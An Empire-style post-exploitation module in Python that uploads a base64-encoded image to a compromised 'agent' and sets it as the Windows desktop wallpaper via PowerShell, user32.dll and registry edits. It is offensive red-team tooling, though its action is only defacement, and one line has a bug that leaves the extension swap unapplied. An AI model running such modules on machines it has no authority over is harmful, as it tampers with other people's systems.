145 lines
4.3 KiB
Python
145 lines
4.3 KiB
Python
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import base64
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Set-Wallpaper',
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'Author': ['@harmj0y'],
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'Description': ('Uploads a .jpg image to the target and sets it as the desktop wallpaper.'),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'MinPSVersion' : '2',
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'Comments': [
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'https://social.technet.microsoft.com/forums/scriptcenter/en-US/9af1769e-197f-4ef3-933f-83cb8f065afb/background-change'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'LocalImagePath' : {
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'Description' : 'Local image path to set the agent wallpaper as.',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop\\' -Name wallpaper -Value $SavePath
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# rundll32.exe user32.dll, UpdatePerUserSystemParameters
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script = """
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Function Set-WallPaper
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{
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[CmdletBinding()] Param($WallpaperData)
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$SavePath = "$Env:UserProfile\\AppData\\Local\\wallpaper" + ".jpg"
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Set-Content -value $([System.Convert]::FromBase64String($WallpaperData)) -encoding byte -path $SavePath
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add-type @"
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using System;
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using System.Runtime.InteropServices;
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using Microsoft.Win32;
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namespace Wallpaper
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{
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public enum Style : int
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{
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Tiled, Centered, Stretched, Fit
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}
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public class Setter {
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public const int SetDesktopWallpaper = 20;
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public const int UpdateIniFile = 0x01;
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public const int SendWinIniChange = 0x02;
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[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
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private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
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public static void SetWallpaper ( string path, Wallpaper.Style style ) {
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SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
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RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\\\Desktop", true);
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switch( style )
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{
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case Style.Stretched :
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key.SetValue(@"WallpaperStyle", "2") ;
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key.SetValue(@"TileWallpaper", "0") ;
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break;
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case Style.Centered :
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key.SetValue(@"WallpaperStyle", "1") ;
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key.SetValue(@"TileWallpaper", "0") ;
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break;
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case Style.Tiled :
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key.SetValue(@"WallpaperStyle", "1") ;
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key.SetValue(@"TileWallpaper", "1") ;
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break;
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case Style.Fit :
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key.SetValue(@"WallpaperStyle", "6") ;
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key.SetValue(@"TileWallpaper", "0") ;
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break;
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}
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key.Close();
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}
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}
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}
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"@
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$null = [Wallpaper.Setter]::SetWallpaper( (Convert-Path $SavePath), "Fit" )
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} Set-Wallpaper"""
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fileName = self.options['LocalImagePath']['Value']
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if (fileName != ''):
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try:
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f = open(fileName)
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data = f.read()
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f.close()
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extension = "." + fileName.split(".")[-1]
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script.replace(".jpg", extension)
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script += " -WallpaperData \"" + base64.b64encode(data) + "\""
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except:
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print helpers.color("[!] Error reading local image path.")
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return ""
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else:
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print helpers.color("[!] Please specify a valid local image path.")
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return ""
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script += "; 'Set-Wallpaper executed'"
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return script
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